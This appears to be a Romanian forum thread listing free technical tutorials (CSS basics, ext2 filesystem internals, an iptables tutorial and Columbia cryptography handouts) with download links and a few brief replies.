CSS Basics You’ve heard the buzz about the seperation of style from content, but you are stuck in the world of nested tables and deprecated markup. If so, you have come to the right place! Using CSS to style your (X)HTML files, will benefit you and your visitors in many ways. Chapter 1 : Introduction to CSS Chapter 2 : CSS Syntax Chapter 3 : CSS Classes Chapter 4 : CSS IDs Chapter 5 : CSS Divisions Chapter 6 : CSS Spans Chapter 7 : CSS Margins Chapter 8 : CSS Padding Chapter 9 : CSS Text Properties Chapter 10 : CSS Font Properties Chapter 11 : CSS Anchors, Links and Pseudo Classes Chapter 12 : CSS Backgrounds Chapter 13 : CSS Borders Chapter 14 : CSS Lists Chapter 15 : CSS Width and Height Properties Chapter 16 : CSS Classification Chapter 17 : CSS Positioning Chapter 18 : CSS Pseudo Elements Download all chapters Download: http://www.cssbasics.com/full.pdf Online: http://www.cssbasics.com/

Analysis of the Ext2fs structure Louis-Dominique Dubeau Introduction Blocks and Fragments Groups Superblock Group Descriptors Bitmaps Inodes Directories Allocation algorithms Error Handling Formulae Invariants File Invariants File System Invariants References Concept Index Online: http://www.nondot.org/sabre/os/files/FileSystems/ext2fs/

Iptables-tutorial The aim of the iptables-tutorial is to explain iptables in a complete and simple way. The iptables-tutorial is currently rather stable, and contains information on all the currently available matches and targets (in kernel), as well as a couple of complete example scripts and explanations. It contains a complete section on iptables syntax, as well as other interesting commands such as iptables-save and iptables-restore. The tutorial was under heavy scrutiny and updating, as can be seen in the latest version of the tutorial. It was available in bookform from Lulu.com for a brief period of time. However due to too much technical problems and the time it took to correct all the “errors” according to Lulu, I decided it simply wasn’t worth it at the time (this might change at some point, but not likely). For example, I had a conversion error between different types of points leading to my pages being 0.03 inches too small on the height and 0.01 inches too small on the width, and because of that they refused to handle. Their way of handling this was to allow the book to be published, and then every once in a while when someone ordered a book (and paid for it), they all of a sudden cancelled the publication, sent me a note that they did so (not explaining why), and so forth. It took me 1-2 months of contact with their customer support to drag this simple “why” out of them, then another few weeks to actually find the reason for the problem. Then there was problems with the size of the cover (generated in their own webtools), etc. If you need help, you are better off by asking the netfilter mailing list which you can reach at netfilter at lists.netfilter.org. For more information on this, visit the netfilter mailinglist page. You may also contact the linuxsecurity mailing list at security-discuss AT linuxsecurity dotcom. Both are fairly large, and should be able to help you much much better than I can. Online full: http://www.frozentux.net/iptables-tutorial/iptables-tutorial.html Online capitole: http://www.frozentux.net/iptables-tutorial/chunkyhtml/ Sursa: Iptables-tutorial : Frozentux

Crypto Handouts [DIR] Parent Directory - [ ] angluin-yale-tr243.pdf 12-Sep-2004 14:33 338K [ ] block-ciphers-handout.pdf 28-Sep-2004 21:22 399K [ ] classical-ciphers-handout.pdf 19-Sep-2004 18:34 3.7M [ ] cryptanalysis-handout.pdf 19-Sep-2004 18:56 611K [ ] digital-signatures-DETAILED-handout.pdf 24-Nov-2004 16:10 687K [ ] digital-signatures-handout.pdf 22-Nov-2004 15:27 289K [ ] hash-functions-handout.pdf 29-Sep-2004 15:46 297K [ ] interactive-proofs-handout.pdf 08-Dec-2004 14:58 200K [ ] intro-handout.pdf 08-Sep-2004 07:30 167K [ ] macs-handout.pdf 11-Oct-2004 15:30 750K [ ] number-theory-1-handout.pdf 18-Oct-2004 13:32 477K [ ] number-theory-2-handout.pdf 27-Oct-2004 15:07 486K [ ] one-way-functions-handout.pdf 30-Nov-2004 15:10 253K [ ] perfect-secrecy-handout.pdf 22-Sep-2004 15:22 148K [ ] pke-handout.pdf 29-Oct-2004 17:05 390K [ ] probabilistic-encryption-handout.pdf 11-Nov-2004 10:55 418K [ ] probability-handout.pdf 29-Sep-2004 12:17 287K [ ] pseudo-random-bit-generators-handouts.pdf 22-Nov-2004 15:22 82K [ ] quantum-crypto-handout.pdf 30-Nov-2004 15:46 396K Download: www1.cs.columbia.edu/~zeph/4261/handouts/

Mai mult cu python... Oricum e destul de "popular".

Posteaza link catre torrent, de preferat daca ai descarcat si sti ca e bun, nu e nicio problema.

Alternativ: MEGAUPLOAD - The leading online storage and file delivery service